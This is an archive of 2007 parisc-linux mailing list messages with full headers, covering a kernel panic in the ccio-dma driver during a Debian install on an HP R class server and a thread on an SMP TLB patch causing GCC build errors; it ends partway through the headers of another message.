X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ram <talk2ram@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: problem installing Debian on HP R class 9000
Date: Mon, 26 Feb 2007 20:12:55 +0530
Lines: 75
Approved: news@gmane.org
Message-ID: <b74751490702260642i4b1a2538rd384e280e0a24622__39964.7482358434$1416624318$gmane$org@mail.gmail.com>
References: <b74751490702220323o3b3d78a9u14b024a75341c986@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0409264017=="
X-Trace: ger.gmane.org 1416624318 23386 80.91.229.3 (22 Nov 2014 02:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 14:43:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 26 Feb 2007 15:43:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CC9B7DB02;
	Mon, 26 Feb 2007 07:43:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29556-04; Mon, 26 Feb 2007 07:43:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 088BD7DAFE;
	Mon, 26 Feb 2007 07:43:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38F6C7DAF8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 07:42:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29151-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 07:42:57 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.227])
	by free.linux.hp.com (Postfix) with ESMTP id 775D37DAF7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 07:42:57 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id 37so641915wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 06:42:57 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:references;
	b=h6XVI4+pXEKpoiO8Z+NXtzE0FTJqFaaDCm1Tp5vBJ1+txps4/RK3SVycwGflJquKQwSGWVOIMPFRzhg20DRIwuAyKvqF7hyUJ3JQBq8EF3auXXaMAdWbgtlWWmTPRU+8UDioJWYzSYKfi5hM2l5Vq5kB8bo4cDXdeIOWzdsC8c0=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:references;
	b=WoucRM8pCfOVnsMz+3/2AFyhDCmA2S8d2s9w9iGAa1I8dOcutAcQ19OkhKoPd6WEld+Hmp8rxhgFC/ALxPy00FQd+t9iPvdgvHbwPmoG0badJJs+GIqnLDYSifjzamu2jI/A/Qihi/YwJAydnQW7Zlih8JiVFV2MoSxx++8Zl6Y=
Original-Received: by 10.115.93.16 with SMTP id v16mr2109952wal.1172500975480;
	Mon, 26 Feb 2007 06:42:55 -0800 (PST)
Original-Received: by 10.115.76.4 with HTTP; Mon, 26 Feb 2007 06:42:55 -0800 (PST)
In-Reply-To: <b74751490702220323o3b3d78a9u14b024a75341c986@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UZeQZYcPeSE59b6WZHQhpWt2IGRvbwA+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24416

--===============0409264017==
Content-Type: multipart/alternative; 
	boundary="----=_Part_96848_26797382.1172500975429"

------=_Part_96848_26797382.1172500975429
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi all

I have HP R Class 900 Server

I have downloaded  debian hppa

and reading the document of PA-RISK How to boot

and when boot started i select boot from

boot p1( is the CDROM connected)

I got the menu, and select English, and Country, after that, its reading CD

after a 15min i get a error on console

Kernel Panic- not syncing:drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O
MMU is out of mapping resources

any help and suggestions

Ram

------=_Part_96848_26797382.1172500975429
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

<br><br><span class="gmail_quote"><br></span>
<div>Hi all</div>
<div>&nbsp;</div>
<div>I have HP R Class 900 Server</div>
<div>&nbsp;</div>
<div>I have downloaded&nbsp; debian hppa</div>
<div>&nbsp;</div>
<div>and reading the document of PA-RISK How to boot</div>
<div>&nbsp;</div>
<div>and when boot started i select boot from </div>
<div>&nbsp;</div>
<div>boot p1( is the CDROM connected)</div>
<div>&nbsp;</div>
<div>I got the menu, and select English, and Country, after that, its reading CD</div>
<div>&nbsp;</div>
<div>after a 15min i get a error on console</div>
<div>&nbsp;</div>
<div>Kernel Panic- not syncing:drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping resources</div>
<div>&nbsp;</div>
<div>any help and suggestions</div><span class="sg">
<div>&nbsp;</div>
<div>Ram</div></span>

------=_Part_96848_26797382.1172500975429--

--===============0409264017==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0409264017==--



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: problem installing Debian on HP R class 9000
Date: Mon, 26 Feb 2007 09:50:18 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20070226165018.GB30763__36078.7470629022$1416624318$gmane$org@colo.lackof.org>
References: <b74751490702220323o3b3d78a9u14b024a75341c986@mail.gmail.com>
	<b74751490702260642i4b1a2538rd384e280e0a24622@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624318 23389 80.91.229.3 (22 Nov 2014 02:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ram <talk2ram@gmail.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 16:50:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 26 Feb 2007 17:50:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95DBB7DAFF;
	Mon, 26 Feb 2007 09:50:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30345-05; Mon, 26 Feb 2007 09:50:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8869F7DB01;
	Mon, 26 Feb 2007 09:50:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A04DF7DAFE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 09:50:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30339-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 09:50:31 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EC36D7DAFB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 09:50:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 008FC368416;
	Mon, 26 Feb 2007 09:50:29 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29612-08; Mon, 26 Feb 2007 09:50:18 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 21810368414; Mon, 26 Feb 2007 09:50:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <b74751490702260642i4b1a2538rd384e280e0a24622@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0DbbcC5Ubmw74a2HZzdLU/dHUzc4ctGU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24417

On Mon, Feb 26, 2007 at 08:12:55PM +0530, ram wrote:
> Kernel Panic- not syncing:drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O
> MMU is out of mapping resources

Yeah, this is a known problem. Current workaround is to hack the
ccio driver to increase the minimum amount of IOVA space allocated.

We need to make this a kernel parameter.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ram <talk2ram@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: problem installing Debian on HP R class 9000
Date: Mon, 26 Feb 2007 23:20:50 +0530
Lines: 70
Approved: news@gmane.org
Message-ID: <b74751490702260950i6ed5ef98g219297ad504672fb__8650.40304274789$1416624318$gmane$org@mail.gmail.com>
References: <b74751490702220323o3b3d78a9u14b024a75341c986@mail.gmail.com>
	<b74751490702260642i4b1a2538rd384e280e0a24622@mail.gmail.com>
	<20070226165018.GB30763@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0738041406=="
X-Trace: ger.gmane.org 1416624318 23391 80.91.229.3 (22 Nov 2014 02:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 17:51:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 26 Feb 2007 18:51:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEFB67DB08;
	Mon, 26 Feb 2007 10:51:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30993-01; Mon, 26 Feb 2007 10:51:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D385F7DB09;
	Mon, 26 Feb 2007 10:51:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C3D77DB05
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 10:50:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30776-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 10:50:54 -0700 (MST)
Original-Received: from ik-out-1112.google.com (ik-out-1112.google.com [66.249.90.182])
	by free.linux.hp.com (Postfix) with ESMTP id 1C1847DB01
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 10:50:53 -0700 (MST)
Original-Received: by ik-out-1112.google.com with SMTP id b35so469384ika
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 09:50:52 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=eP3F4qLHq/xJ9gOes8uztisjoK9Ek19VpaQ9O2Xbf78CMW9oR6tYK5QXnxQNsjRaYRvZOk705XmhyjVAv+HLg9D0BqodjEb14tPOt5AZp/EcItQrxhMxxv5sobCPDvzxMsER66dfFHbOuovc7QkNCsWp4piNN1ObxjjQtd0S6qs=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=BDya0rmNzQAsb0GZcuG+3nE3Z93cLC4PuyP5ArgKOX8XLDM5o6j8xkK6loZfsxlfWopVBQ7fmReeM1IC78wGH8ffMnUMozFCjxoGvEFgcd/AaGVtIR+7exNe3BTLUPNuAg3Iv6aLAvHkpN1odg53tzllVQSMfMcfRxqKwQgfVAo=
Original-Received: by 10.115.14.1 with SMTP id r1mr762506wai.1172512250216;
	Mon, 26 Feb 2007 09:50:50 -0800 (PST)
Original-Received: by 10.115.76.4 with HTTP; Mon, 26 Feb 2007 09:50:50 -0800 (PST)
In-Reply-To: <20070226165018.GB30763@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JSfbcN0dbmw74a2HZzdLPL5HUzc4clGa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24418

--===============0738041406==
Content-Type: multipart/alternative; 
	boundary="----=_Part_85_20492750.1172512250097"

------=_Part_85_20492750.1172512250097
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 2/26/07, Grant Grundler <grundler@parisc-linux.org> wrote:
>
> On Mon, Feb 26, 2007 at 08:12:55PM +0530, ram wrote:
> > Kernel Panic- not syncing:drivers/parisc/ccio-dma.c: ccio_alloc_range()
> I/O
> > MMU is out of mapping resources
>
> Yeah, this is a known problem. Current workaround is to hack the
> ccio driver to increase the minimum amount of IOVA space allocated.
>
> We need to make this a kernel parameter.



Hi

thanks for the quick reply
can you suggest me some document
how can i hack the code make my HP R class work with debian

any suggestions or readings

ram

------=_Part_85_20492750.1172512250097
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

<br><br>
<div><span class="gmail_quote">On 2/26/07, <b class="gmail_sendername">Grant Grundler</b> &lt;<a href="mailto:grundler@parisc-linux.org">grundler@parisc-linux.org</a>&gt; wrote:</span>
<blockquote class="gmail_quote" style="PADDING-LEFT: 1ex; MARGIN: 0px 0px 0px 0.8ex; BORDER-LEFT: #ccc 1px solid">On Mon, Feb 26, 2007 at 08:12:55PM +0530, ram wrote:<br>&gt; Kernel Panic- not syncing:drivers/parisc/ccio-
dma.c: ccio_alloc_range() I/O<br>&gt; MMU is out of mapping resources<br><br>Yeah, this is a known problem. Current workaround is to hack the<br>ccio driver to increase the minimum amount of IOVA space allocated.<br><br>We need to make this a kernel parameter.
</blockquote>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>Hi</div>
<div>&nbsp;</div>
<div>thanks for the quick reply</div>
<div>can you suggest me some document </div>
<div>how can i hack the code make my HP R class work with debian</div>
<div>&nbsp;</div>
<div>any suggestions or readings</div>
<div>&nbsp;</div>
<div>ram<br>&nbsp;</div></div><br>

------=_Part_85_20492750.1172512250097--

--===============0738041406==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0738041406==--



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Mon, 26 Feb 2007 13:43:51 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <1172519031.3344.31.camel__22334.4293692664$1416624319$gmane$org@mulgrave.il.steeleye.com>
References: <200702260033.l1Q0Xn44025896@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624319 23394 80.91.229.3 (22 Nov 2014 02:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 19:44:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 26 Feb 2007 20:44:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F075F7DB0D;
	Mon, 26 Feb 2007 12:44:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31901-02; Mon, 26 Feb 2007 12:44:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C00C57DB11;
	Mon, 26 Feb 2007 12:44:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DABC7DB0D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 12:44:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31665-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 12:44:01 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 16C217DB0C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 12:44:00 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1QJhqx21802; 
	Mon, 26 Feb 2007 14:43:52 -0500
In-Reply-To: <200702260033.l1Q0Xn44025896@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uQrRdrQyPTRts+jGPjIwtkcxc2tpZIuD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24419

On Sun, 2007-02-25 at 19:33 -0500, John David Anglin wrote:
> This one is less stable your previous change + reversion of tausq's
> SMP TLB opimization patch.  GCC build doesn't get far before wierdness
> occurs (strange characters being read from files):
> 
> gcc -c -g -fkeep-inline-functions      -gnatpg -gnata -I- -I. -Iada -I../../gcc/
> gcc/ada ../../gcc/gcc/ada/exp_ch6.adb -o ada/exp_ch6.o
> /tmp/ccaWBgD1.s: Assembler messages:
> /tmp/ccaWBgD1.s:2436: Error: Undefined register: '%s'.
> /tmp/ccaWBgD1.s:2436: Error: Field out of range [0..31] (-1).
> /tmp/ccaWBgD1.s:2436: Error: Undefined register: '%s'.
> /tmp/ccaWBgD1.s:2436: Error: Undefined register: '%s'.
> /tmp/ccaWBgD1.s:2436: Error: Field out of range [0..31] (-1).
> ...

Hmm ... perhaps there's a reason every other architecture's SMP
flush_tlb_mm() implementation is much more complicated than ours ...

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Tue, 27 Feb 2007 18:02:10 -0600
Lines: 81
Approved: news@gmane.org
Message-ID: <1172620930.3408.46.camel__26560.2221865722$1416624319$gmane$org@mulgrave.il.steeleye.com>
References: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
	<1172277920.3424.83.camel@mulgrave.il.steeleye.com>
	<119aab440702251819u1a070512j2cb8ca2eeadf0962@mail.gmail.com>
	<1172461983.3423.34.camel@mulgrave.il.steeleye.com>
	<1172467172.3423.39.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624319 23395 80.91.229.3 (22 Nov 2014 02:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:19 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Feb 2007 00:02:33 -0000
Original-Received: from unknown (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 28 Feb 2007 01:02:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2D2C7DB45;
	Tue, 27 Feb 2007 17:02:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11383-09; Tue, 27 Feb 2007 17:02:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EB407DB46;
